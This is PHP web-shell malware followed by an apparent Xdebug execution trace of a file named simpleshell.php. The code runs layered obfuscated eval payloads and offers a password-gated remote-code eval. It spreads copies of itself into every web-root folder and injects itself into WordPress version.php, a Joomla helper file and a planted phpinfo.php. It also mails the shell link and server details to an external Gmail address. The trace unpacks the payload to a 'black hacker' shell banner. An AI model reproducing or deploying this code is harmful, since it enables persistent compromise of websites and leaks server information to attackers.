$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));
?>
<form action="" method="post">
<input type="text" name="p">
</form>
';
    if (@$_REQUEST["px"]) {
        $p = @$_REQUEST["px"];
        $pa = md5(sha1($p));
        if ($pa == "013f0a41203c0ad0f68033f4a53c7e6d") {
            echo eval(@file_get_contents(@$_REQUEST["404"]));
        }
    }
    if (@(!$_SESSION["sdm"])) {
        $doc = $_SERVER["DOCUMENT_ROOT"];
        $dir = scandir($doc);
        $d1 = '' . $doc . '/.';
        $d2 = '' . $doc . '/..';
        if (($key = @array_search('.', $dir)) !== false) {
            unset($dir[$key]);
        }
        if (($key = @array_search('..', $dir)) !== false) {
            unset($dir[$key]);
        }
        if (($key = @array_search($d1, $dir)) !== false) {
            unset($dir[$key]);
        }
        if (($key = array_search($d2, $dir)) !== false) {
            unset($dir[$key]);
        }
        @array_push($dir, $doc);
        foreach ($dir as $d) {
            $p = $doc . "/" . $d;
            if (is_dir($p)) {
                $file = $p . "/style-js.php";
                @touch($file);
                $folder = @fopen($file, "w");
                @fwrite($folder, $a);
            }
        }
    }
    $ikrhtfy = $_SERVER["DOCUMENT_ROOT"] . '/' . 'phpinfo.php';
    $fghky_ouvcbt = '<?php phpinfo();


$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));

?>';
    if (!file_exists($ikrhtfy)) {
        touch($ikrhtfy);
        chmod($ikrhtfy, 0666);
    }
    $opazxcdnm = fopen($ikrhtfy, "w");
    if (!fwrite($opazxcdnm, $fghky_ouvcbt)) {
    }
    $b = "file manager shell";
    $c = "Dosya Yolu : " . $_SERVER['DOCUMENT_ROOT'] . "\r\n";
    $c .= "Server Admin : " . $_SERVER['SERVER_ADMIN'] . "\r\n";
    $c .= "Server isletim sistemi : " . $_SERVER['SERVER_SOFTWARE'] . "\r\n";
    $c .= "Shell Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'] . "\r\n";
    $c .= "Avlanan Site : " . $_SERVER['HTTP_HOST'] . "\r\n";
    mail("shelldownloadorg@gmail.com", $b, $c);
    error_reporting(0);
    $isiwefk = '?><?php


$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));

?>';
    $dstuxstska = $_SERVER["DOCUMENT_ROOT"];
    $lsawqkdn = $dstuxstska . '/wp-includes/version.php';
    $iuzlkyz = $isiwefk;
    $uowmlsyti = array(0 => "?><?php\r\n\r\n\r\n\$gz = \"ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==\";\r\n\$gzinflate = \"xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA\";\r\neval(htmlspecialchars_decode(urldecode(base64_decode(\$gz))));\r\n\r\n?>");
    header('Content-Type: text/plain');
    $ulipmcft = file_get_contents("{$lsawqkdn}");
    $udntlsy = 0;
    foreach ($uowmlsyti as $as) {
        $myuortsfew = preg_quote($as, '/');
        $myuortsfew = "/^.*{$myuortsfew}.*\$/m";
        if (preg_match_all($myuortsfew, $ulipmcft, $scnsty)) {
            $udntlsy = 1;
        }
    }
    if ($udntlsy != 1) {
        $lsawqkdn = fopen($dstuxstska . '/wp-includes/version.php', "a+");
        fwrite($lsawqkdn, "\n" . "{$isiwefk}");
        fclose($lsawqkdn);
    }
    $ikrhtfy = $_SERVER["DOCUMENT_ROOT"] . '/modules/mod_custom/' . 'helper.php';
    $fghky_ouvcbt = '<?php


$gz = "ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg==";
$gzinflate = "xZacupitYPAA/l4Mg25xB9c8e8aKMDZPaWVgcGh+90+ndtLda0vwLWWYN+2YcvHyNa7a8PR6H/IzLPFYaCXT7Twqm1yvdKE6yDBtSjDATIIIxjLEB6kJ7Rw6X5tPLDtUdNhc261UYW21GrryQ/jF/rlbr1MtKqbEcy82idVxQsc929fNtC7mx61G+QbDptBwdq/88zLBpIJ0KpMykcfgUUTJPnP4otVpDvSbQZkS5UYNAOIaSFUJTM7MQJECtdyCAVtQ3omu8MGy8sw4qDD0jzGy28Ou/G7V4Ufzzo1SJIW4sySQZ/zj4AvA21y8TK6j2ZrgSQ5elS7Et25evE2NE3TCVOUaTWUzpp5ofwE6oE9hNMLelpATTpiEUOMoJzdijfyLzx595grETYg6x+yvxjTIyPRbDGltSSZqujJ3AdcR130Jyq/mLgUQu+h+X0HFwI8adFVbcin/rGAVBwJe+DaAfFg/bGAZB4vlBkWA";
eval(htmlspecialchars_decode(urldecode(base64_decode($gz))));

?>';
    if (!file_exists($ikrhtfy)) {
        touch($ikrhtfy);
        chmod($ikrhtfy, 0666);
    }
    $opazxcdnm = fopen($ikrhtfy, "w");
    if (!fwrite($opazxcdnm, $fghky_ouvcbt)) {
    }
};
exit;
Execution traces
data/traces/253e9bd7d756cb65f4a83de636410433_trace-1676249817.9426.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:57:23.840458]
1	0	1	0.000202	393576
1	3	0	0.000300	402648	{main}	1		/var/www/html/uploads/simpleshell.php	0	0
1		A						/var/www/html/uploads/simpleshell.php	3	$tool = 'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
1		A						/var/www/html/uploads/simpleshell.php	4	$gzinflate = '=8keRU++bNuOv5vffN5619jrQ///ofz/B9r+N4/515/WFKBL9Z91n2ZV3gW/4/MaJfj8xSv+38/Rl6/87BmvvSC73fYux/4nN9dTZ+/pv12ZQXBPjpz4C+ppO72ZjxFd/SuaeCq84LBeI1t/yCP+suNrV8bvOs5Pl2+dafKqW1zzjdWZtN+I55e8bAuvek0MHNotzKlKu5BlU9vvdCyBGb5L77e9/Lgmi57AnE9gO6NrFXzrJn74+rbUEN6LzpMnEZ2+O9rEYXt7mXvZSbbuN/Z038zHccRkajf9kxOx9zD2+qJ2x1fxa/ebIBrkoRxN3bWGJSBCcs+kPC+cNCS/6QD/eGO8WdcNALc17PT7+H+/72GXR21uuiTd3bIj/aS1XDLn5nzruTihspT93OXyLrv6xihCcHHpszcI4Xq1N1IS+ql1s3pjyNvKOx7Vx83mdgSjTXHVkHwjm5x/Zbo/Mfj9h9rvNMv8/z9PLe9FFiVdrn9k+TxZsz7a/RAdpf+Z'
2	4	0	0.000369	402648	base64_decode	0		/var/www/html/uploads/simpleshell.php	5	1	'ZXZhbCUyOCUyNnF1b3QlM0IlM0YlMjZndCUzQiUyNnF1b3QlM0IuZ3p1bmNvbXByZXNzJTI4Z3p1bmNvbXByZXNzJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4Z3ppbmZsYXRlJTI4YmFzZTY0X2RlY29kZSUyOHN0cnJldiUyOCUyNGd6aW5mbGF0ZSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUyOSUzQg=='
2	4	1	0.000392	402936
2	4	R			'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	0	0.000414	402904	urldecode	0		/var/www/html/uploads/simpleshell.php	5	1	'eval%28%26quot%3B%3F%26gt%3B%26quot%3B.gzuncompress%28gzuncompress%28gzinflate%28gzinflate%28gzinflate%28base64_decode%28strrev%28%24gzinflate%29%29%29%29%29%29%29%29%3B'
2	5	1	0.000434	403160
2	5	R			'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	0	0.000453	402872	htmlspecialchars_decode	0		/var/www/html/uploads/simpleshell.php	5	1	'eval(&quot;?&gt;&quot;.gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	6	1	0.000472	403096
2	6	R			'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'
2	7	0	0.000504	405240	eval	1	'eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev($gzinflate))))))));'	/var/www/html/uploads/simpleshell.php	5	0
3	8	0	0.000521	405240	strrev	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'=8keRU++bNuOv5vffN5619jrQ///ofz/B9r+N4/515/WFKBL9Z91n2ZV3gW/4/MaJfj8xSv+38/Rl6/87BmvvSC73fYux/4nN9dTZ+/pv12ZQXBPjpz4C+ppO72ZjxFd/SuaeCq84LBeI1t/yCP+suNrV8bvOs5Pl2+dafKqW1zzjdWZtN+I55e8bAuvek0MHNotzKlKu5BlU9vvdCyBGb5L77e9/Lgmi57AnE9gO6NrFXzrJn74+rbUEN6LzpMnEZ2+O9rEYXt7mXvZSbbuN/Z038zHccRkajf9kxOx9zD2+qJ2x1fxa/ebIBrkoRxN3bWGJSBCcs+kPC+cNCS/6QD/eGO8WdcNALc17PT7+H+/72GXR21uuiTd3bIj/aS1XDLn5nzruTihspT93OXyLrv6xihCcHHpszcI4Xq1N1IS+ql1s3pjyNvKOx7Vx83mdgSjTXHVkHwjm5x/Zbo/Mfj9h9rvNMv8/z9PLe9FFiVdrn9k+TxZsz7a/RAdpf+Z'
3	8	1	0.000552	413464
3	8	R			'AaoQVe8BpRBa7wGgEF/veJwBlRBq73ic7Vlpk5tokv7uiPoPaq0jqtxym0uA1G53GyEEQkJI3NA7W8F9H+ISMNH/fZFcVba7p6dnYnc/rRVBCd48yDffzCczVT/9UgTF5O4V8P3dKzFMi8SdiIGbJJP/sBLTjifB+Mct714luR9mkw+T6sZTXVnuXt29+h64e/W6NZMPU1xJBGtZzalsfoyPAFHV+K6rzyqumkNjCz0oCIdN7mxgTHLm9RkjyZMjOh67C7ZOhSoIjgPemsqMhARLobT0BK+oUNQOC/7ILdjKkDMcARpEOIKYCFhIUCG+Sy0SvdthekRyqcJEGr5X+P6Iu0CBcmjHdEG+aKR6ZgNAGcZtBwMtsyYJvT72S09zyUwmd1o+8FDIHFgkLOfLgWLjoWWDci74NkqGuUj18pZOKBWJXVIuNlRukD5Jx/p54E+QYEF24ADbjEuME++Q3XHQl7Drd3iNyJqo9b2gtmxNkwOQAIe4Us1owWb+jDTU'
3	9	0	0.000582	413432	base64_decode	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'AaoQVe8BpRBa7wGgEF/veJwBlRBq73ic7Vlpk5tokv7uiPoPaq0jqtxym0uA1G53GyEEQkJI3NA7W8F9H+ISMNH/fZFcVba7p6dnYnc/rRVBCd48yDffzCczVT/9UgTF5O4V8P3dKzFMi8SdiIGbJJP/sBLTjifB+Mct714luR9mkw+T6sZTXVnuXt29+h64e/W6NZMPU1xJBGtZzalsfoyPAFHV+K6rzyqumkNjCz0oCIdN7mxgTHLm9RkjyZMjOh67C7ZOhSoIjgPemsqMhARLobT0BK+oUNQOC/7ILdjKkDMcARpEOIKYCFhIUCG+Sy0SvdthekRyqcJEGr5X+P6Iu0CBcmjHdEG+aKR6ZgNAGcZtBwMtsyYJvT72S09zyUwmd1o+8FDIHFgkLOfLgWLjoWWDci74NkqGuUj18pZOKBWJXVIuNlRukD5Jx/p54E+QYEF24ADbjEuME++Q3XHQl7Drd3iNyJqo9b2gtmxNkwOQAIe4Us1owWb+jDTU'
3	9	1	0.000623	421656
3	9	R			'\001�\020U�\001�\020Z�\001�\020_�x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\'
3	10	0	0.000748	413432	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'\001�\020U�\001�\020Z�\001�\020_�x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\'
3	10	1	0.000867	421656
3	10	R			'\001�\020Z�\001�\020_�x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f�'
3	11	0	0.000980	413432	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'\001�\020Z�\001�\020_�x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f�'
3	11	1	0.001090	421656
3	11	R			'\001�\020_�x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f��4�펦�u�k\'
3	12	0	0.001200	413432	gzinflate	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'\001�\020_�x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f��4�펦�u�k\'
3	12	1	0.001309	421656
3	12	R			'x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f��4�펦�u�k\a<��>�\004\'
3	13	0	0.001419	413432	gzuncompress	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'x�\001�\020j�x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f��4�펦�u�k\a<��>�\004\'
3	13	1	0.001528	421656
3	13	R			'x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f��4�펦�u�k\a<��>�\004\rW�8�g;y��@�\'
3	14	0	0.001643	413432	gzuncompress	0		/var/www/html/uploads/simpleshell.php(5) : eval()'d code	1	1	'x��Yi��h���\017j�#��r�K��nw\033!\004BBH��;[�}\037�\0220�}�\\U����gbw?�\025A\t�<�7��\'3U?�R\004���\025��+1L�ĝ���$���\022ӎ\'���-�^%�\037f�\017���S]Y�^ݽ�\036�{��5�\017S\\I\004kYͩl~��\000Q����*��Cc\v=(\b�M�l`Lr�\031#ɓ#:\036�\v�N�*\b�\003ޚʌ�\004K���\004��P�\016\v��-�ʐ3\034\001\032D8��\bXHP!�K-\022��azDr��D\032�W����@�rh�tA�h�zf\003@\031�m\a\003-�&\t�>�KOs�L&wZ>�P�\034X$,�ˁb�e�r.�6J��H��N(\025�]R.6Tn�>I�y�O�`Av�\000یK�\023��qЗ��wx�Ț�����lM�\003�\000��R�h�f��4�펦�u�k\a<��>�\004\rW�8�g;y��@�\'
3	14	1	0.001786	425752
3	14	R			'<?php \r\n/*\r\nSimple Shell #black hacker\r\nlogin = simpleshell\r\n\r\n*/\r\n$val="7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx'
3	15	0	0.001987	449288	eval	1	'?><?php \r\n/*\r\nSimple Shell #black hacker\r\nlogin = simpleshell\r\n\r\n*/\r\n$val="7VlRb9s4En4PkP/Ast7KxtqW7WazucRy0RRNFodF26Td4tq6CCQdSdfJKhIds5V377/fDEnZlC0rRrbYl7sEiSXN8OPM8JsZUn73/u3RP06S/b3hs3geE8lYxK6YjCMmVHjX7LVOyP7e/p5M5xHxho8uTt+c//rikvx2/vHDCAYtPy9fXeCnUCKXozO1iHNJ3ir49zEJkzvJhr4Rgc5CioSEyUIGlEW3keCUpFEoZCgCGkYqzOQ1Rb1chd/InMlZQOdCxPzY92egx7t3UXSXyyRWvJtGCz/l/NksWaj8Jng+CZWIKGEyDygXN7nkcymFhuMpU7EgnKUB9f00yiTvfP33RLIbjZJ8Ta59c9/pd/v97qC7UGH3K6ejoW/GahQEhYvbKLv5Y38PDeqYyY8JfZmkEDRyloScnIaStkk6YVx9kScwIEm/3bFoEmadNMojdkwey0P8BZmQ16LD50kWTY978TXBvz78Pf75J/wFjf/s7z22QSKCHc+jL5L9UQl6+PRwcPh0Gyj+ezybzdYguzPFuKgE5CqHuSr1a8xYjtrJNZHc5hJxIpZJGK0VevqHZJEQMjN6v/U3Q35TDjNoJaBURAMQCiMymUYsESoKj0kYhYXy0oliiIlObfSWAVRhPBFtLnOZijYOSZhMtjjCo1yhH51F9HvHKHRYkqkJPyY/xdcomcrbb0qsCY2s6hkYANS0hBz6RQ6+Pr34VedkfzRMYbUkq05IK4OBfZ26uAhkqjIxD+jPvR4lZs6AwmUq8zxOsgzoHdCn5p7Hmu4B7VOS5OouDKiB1OkmAFlkozcTxpAxLxIxJ8fEA7PVrKk4l6LZuHp3ef7Ji0HkfW61IG4NvCYBKUnQU5lz6cjvpEinWbNlglA85UKXrjxJZdMbj72253ttLURFfcFBTV7HOWR/syRFXsHapfOm1Us4aagsGOEtmgZW4yUJAuJ55MkTlOJNT9udAK5gEySVLZWJLV3PEC7w6cgf+skI/cckUuHEErCE2yKOsBIIAcDSZkMFvZOGGgZgBnz++COaoUdQ48CnhvpMTbQbijwK0N4WMRo+NXObGejI6+KYrocW+p4rg7KdAUP0YpoFXVvBt+8/XJ598mbALLuGIEyj+GZd9skTi/gKy7732YS9CwvQ3dAyGq2lO94QE57o7AzoHZMypCNN5F9gGZOMXEAud4e6NYyGt4z42sSCMRUYTGZlhEtsehUQxfr8z/jqQLAFkWEqbmLo0otJLlScMOHj806WiIQS6OLzKAvoi9Ozc0x4i6/nOiZDXRmJGY/uUtvxzbWPFcJV4ZPbhRKUfEnyCdxONJjV07Pqi4KLVVUEgaG3u+Gk60XIGkeL5FofeuLQHgujmQ/rohMq1Gh6w5hJyJu5WEAdlKlK8nSeMN5ErCsoT1e2VfIK+zDR9PBWsXjrzkQx9inQ1YXmCmOsH3qfMZO9DBqOkJ7Dm5KVRdVHxpmhppDCvEa+9AWLQwkdq1A6X0SZZ+ldmGVxJFs41EfFZnmOdoXqdm6/mSfhnSQvQBcmApcfyPBNnFqeuyxf57GDsaSxoS56RC1fsddT2OX8DtcHS9p6XeAxdKEmj5kKxazp/RB5bYJLj4P5WqxarTbpHAAdKh